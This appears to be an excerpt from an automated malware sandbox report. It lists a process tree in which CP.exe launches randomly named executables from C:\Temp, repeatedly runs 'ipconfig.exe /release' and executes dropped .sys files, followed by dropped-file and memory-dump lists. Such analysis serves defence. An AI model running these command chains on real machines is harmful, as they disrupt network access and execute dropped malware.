C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_jhczurmkec.exe ups_ins2⤵
-
C:\Temp\i_jhczurmkec.exeC:\Temp\i_jhczurmkec.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\pjhbzurpje.exe ups_run2⤵
-
C:\Temp\pjhbzurpje.exeC:\Temp\pjhbzurpje.exe ups_run3⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_pjhbzurpje.exe ups_ins2⤵
-
C:\Temp\i_pjhbzurpje.exeC:\Temp\i_pjhbzurpje.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\bwuomgezwr.exe ups_run2⤵
-
C:\Temp\bwuomgezwr.exeC:\Temp\bwuomgezwr.exe ups_run3⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_bwuomgezwr.exe ups_ins2⤵
-
C:\Temp\i_bwuomgezwr.exeC:\Temp\i_bwuomgezwr.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\omgeyvtrlj.exe ups_run2⤵
-
C:\Temp\omgeyvtrlj.exeC:\Temp\omgeyvtrlj.exe ups_run3⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_omgeyvtrlj.exe ups_ins2⤵
-
C:\Temp\i_omgeyvtrlj.exeC:\Temp\i_omgeyvtrlj.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\yvqoigaysq.exe ups_run2⤵
-
C:\Temp\yvqoigaysq.exeC:\Temp\yvqoigaysq.exe ups_run3⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_yvqoigaysq.exe ups_ins2⤵
-
C:\Temp\i_yvqoigaysq.exeC:\Temp\i_yvqoigaysq.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\fdavsnlfdb.exe ups_run2⤵
-
C:\Temp\fdavsnlfdb.exeC:\Temp\fdavsnlfdb.exe ups_run3⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start1⤵
-
C:\Temp\bvtigbytql.sysC:\Temp\bvtigbytql.sys1⤵
- Executes dropped EXE
-
C:\Temp\dywqoigays.sysC:\Temp\dywqoigays.sys1⤵
- Executes dropped EXE
-
C:\Temp\snlfdxvqni.sysC:\Temp\snlfdxvqni.sys1⤵
- Executes dropped EXE
-
C:\Temp\zxvpnkicax.sysC:\Temp\zxvpnkicax.sys1⤵
- Executes dropped EXE
-
C:\Temp\mzxupnhfzx.sysC:\Temp\mzxupnhfzx.sys1⤵
- Executes dropped EXE
-
C:\Temp\ezwuspkhcz.sysC:\Temp\ezwuspkhcz.sys1⤵
- Executes dropped EXE
-
C:\Temp\hezxrpjhbz.sysC:\Temp\hezxrpjhbz.sys1⤵
- Executes dropped EXE
-
C:\Temp\ywqojgbztr.sysC:\Temp\ywqojgbztr.sys1⤵
- Executes dropped EXE
-
C:\Temp\qoljytolge.sysC:\Temp\qoljytolge.sys1⤵
- Executes dropped EXE
-
C:\Temp\gdywqoigay.sysC:\Temp\gdywqoigay.sys1⤵
- Executes dropped EXE
-
C:\Temp\aysqnigays.sysC:\Temp\aysqnigays.sys1⤵
-
C:\Temp\snifdxvpnl.sysC:\Temp\snifdxvpnl.sys1⤵
-
C:\Temp\kicsmkecxu.sysC:\Temp\kicsmkecxu.sys1⤵
-
C:\Temp\zusmkecaxr.sysC:\Temp\zusmkecaxr.sys1⤵
-
C:\Temp\mjebzwuomh.sysC:\Temp\mjebzwuomh.sys1⤵
-
C:\Temp\ebwuomgebz.sysC:\Temp\ebwuomgebz.sys1⤵
-
C:\Temp\jgeywtoljd.sysC:\Temp\jgeywtoljd.sys1⤵
-
C:\Temp\ljgbytrojg.sysC:\Temp\ljgbytrojg.sys1⤵
-
C:\Temp\gdyvtnliga.sysC:\Temp\gdyvtnliga.sys1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
CP.exe
bvtigbytql.sys
causpkecau.exe
dywqoigays.sys
gdywqoigay.exe
i_gdywqoigay.exe
i_nifayspnif.exe
i_olgbwoidyw.exe
i_qoifayvqni.exe
i_xusqkiczus.exe
mzxupnhfzx.sys
nifayspnif.exe
olgbwoidyw.exe
qoifayvqni.exe
snlfdxvqni.sys
xusqkiczus.exe
zxvpnkicax.sys
settings.dat
settings.dat
67fd4600-26e4-49e3-84f8-6808708186e2.tmp
the-real-index
the-real-index~RFe59b183.TMP
SiteList-Enterprise.json
7f6d645e-fc42-4c4e-814d-439ebf10efee.tmp
Network Persistent State
SCT Auditing Pending Reports
Preferences
Preferences
Preferences
Secure Preferences
OperationConfig
OperationConfig~RFe5a4c8b.TMP
Local State
Local State
Local State
Local State
Local State
Local State
Local State
metadata.json
metadata.json
299ff2b88f972402bfeaa0a772d457de7c8a5aa8498cacd924345cb79aac18ce
35c5b7fe-635e-4783-927b-07abde5bc59d.tmp
metadata.json~RFe598802.TMP
3c65d315-b109-48fc-a203-b16bcfc8f59a.tmp
content_new.js
memory/824-642-0x00000000002A0000-0x00000000002EB000-memory.dmp
memory/824-640-0x00000000002A0000-0x00000000002EB000-memory.dmp
memory/832-754-0x0000000000270000-0x00000000002BB000-memory.dmp
memory/832-752-0x0000000000270000-0x00000000002BB000-memory.dmp
memory/936-487-0x00000000006F0000-0x000000000073B000-memory.dmp
memory/936-484-0x00000000006F0000-0x000000000073B000-memory.dmp
memory/980-587-0x0000000000890000-0x00000000008DB000-memory.dmp
memory/980-600-0x0000000000890000-0x00000000008DB000-memory.dmp
memory/1396-669-0x0000000000010000-0x0000000000083000-memory.dmp
memory/1396-691-0x0000000000010000-0x0000000000083000-memory.dmp
memory/1424-637-0x0000000000B80000-0x0000000000BCB000-memory.dmp
memory/1424-638-0x0000000000B80000-0x0000000000BCB000-memory.dmp
memory/1556-734-0x0000000000B20000-0x0000000000B6B000-memory.dmp
memory/1556-735-0x0000000000B20000-0x0000000000B6B000-memory.dmp
memory/1800-536-0x0000000000A00000-0x0000000000A4B000-memory.dmp
memory/1800-533-0x0000000000A00000-0x0000000000A4B000-memory.dmp
memory/1868-478-0x0000000000100000-0x000000000014B000-memory.dmp
memory/1868-467-0x0000000000100000-0x000000000014B000-memory.dmp
memory/2292-429-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2308-427-0x00000000006B0000-0x00000000006FB000-memory.dmp
memory/2308-400-0x00000000006B0000-0x00000000006FB000-memory.dmp
memory/2444-658-0x0000000000E30000-0x0000000000E7B000-memory.dmp
memory/2444-656-0x0000000000E30000-0x0000000000E7B000-memory.dmp
memory/2476-528-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2484-573-0x0000000000D90000-0x0000000000DDB000-memory.dmp
memory/2484-571-0x0000000000D90000-0x0000000000DDB000-memory.dmp
memory/2484-690-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2924-614-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2924-601-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2940-516-0x0000000000F10000-0x0000000000F5B000-memory.dmp
memory/2940-519-0x0000000000F10000-0x0000000000F5B000-memory.dmp
memory/3012-512-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3012-603-0x00000000002E0000-0x000000000032B000-memory.dmp
memory/3012-608-0x00000000002E0000-0x000000000032B000-memory.dmp
memory/3056-693-0x0000000000A50000-0x0000000000A9B000-memory.dmp
memory/3056-694-0x0000000000A50000-0x0000000000A9B000-memory.dmp
memory/3140-584-0x0000000000D80000-0x0000000000DCB000-memory.dmp
memory/3140-585-0x0000000000D80000-0x0000000000DCB000-memory.dmp
memory/3436-687-0x0000000000840000-0x000000000088B000-memory.dmp
memory/3436-689-0x0000000000840000-0x000000000088B000-memory.dmp
memory/3444-579-0x0000000000A70000-0x0000000000ABB000-memory.dmp
memory/3444-581-0x0000000000A70000-0x0000000000ABB000-memory.dmp
memory/3472-715-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3516-740-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3520-425-0x0000000000480000-0x00000000004CB000-memory.dmp
memory/3520-0-0x0000000000480000-0x00000000004CB000-memory.dmp
memory/3560-732-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3604-660-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3604-643-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3772-739-0x0000000000660000-0x00000000006AB000-memory.dmp
memory/3772-737-0x0000000000660000-0x00000000006AB000-memory.dmp
memory/3908-545-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4112-582-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4272-722-0x0000000000880000-0x00000000008CB000-memory.dmp
memory/4272-720-0x0000000000880000-0x00000000008CB000-memory.dmp
memory/4344-576-0x0000000000AD0000-0x0000000000B1B000-memory.dmp
memory/4344-577-0x0000000000AD0000-0x0000000000B1B000-memory.dmp
memory/4572-574-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4628-568-0x0000000000360000-0x00000000003AB000-memory.dmp
memory/4628-565-0x0000000000360000-0x00000000003AB000-memory.dmp
memory/4744-610-0x0000000000B30000-0x0000000000B7B000-memory.dmp
memory/4744-670-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4744-612-0x0000000000B30000-0x0000000000B7B000-memory.dmp
memory/4744-659-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4780-662-0x0000000000AC0000-0x0000000000B0B000-memory.dmp
memory/4780-613-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4780-663-0x0000000000AC0000-0x0000000000B0B000-memory.dmp
memory/4912-645-0x0000000000440000-0x000000000048B000-memory.dmp
memory/4912-646-0x0000000000440000-0x000000000048B000-memory.dmp
memory/5036-72-0x0000000000300000-0x000000000034B000-memory.dmp
memory/5036-78-0x0000000000300000-0x000000000034B000-memory.dmp
memory/5108-460-0x0000000000DF0000-0x0000000000E3B000-memory.dmp
memory/5108-463-0x0000000000DF0000-0x0000000000E3B000-memory.dmp
memory/5112-507-0x0000000000B40000-0x0000000000B8B000-memory.dmp
memory/5112-510-0x0000000000B40000-0x0000000000B8B000-memory.dmp
memory/5168-755-0x0000000000010000-0x0000000000083000-memory.dmp
memory/5212-480-0x0000000000010000-0x0000000000083000-memory.dmp
memory/5520-728-0x0000000000220000-0x000000000026B000-memory.dmp
memory/5520-731-0x0000000000220000-0x000000000026B000-memory.dmp
memory/5532-749-0x0000000000030000-0x000000000007B000-memory.dmp
memory/5532-750-0x0000000000030000-0x000000000007B000-memory.dmp
memory/5696-665-0x00000000002F0000-0x000000000033B000-memory.dmp
memory/5696-668-0x00000000002F0000-0x000000000033B000-memory.dmp
memory/5696-725-0x0000000000420000-0x000000000046B000-memory.dmp
memory/5696-526-0x0000000000D50000-0x0000000000D9B000-memory.dmp
memory/5696-726-0x0000000000420000-0x000000000046B000-memory.dmp
memory/5696-523-0x0000000000D50000-0x0000000000D9B000-memory.dmp
memory/5724-718-0x0000000000D90000-0x0000000000DDB000-memory.dmp
memory/5724-717-0x0000000000D90000-0x0000000000DDB000-memory.dmp
memory/5948-723-0x0000000000010000-0x0000000000083000-memory.dmp
memory/6048-685-0x00000000004E0000-0x000000000052B000-memory.dmp
memory/6048-684-0x00000000004E0000-0x000000000052B000-memory.dmp
memory/6056-540-0x0000000000A50000-0x0000000000A9B000-memory.dmp
memory/6056-543-0x0000000000A50000-0x0000000000A9B000-memory.dmp
memory/6100-712-0x0000000000E30000-0x0000000000E7B000-memory.dmp
memory/6100-714-0x0000000000E30000-0x0000000000E7B000-memory.dmp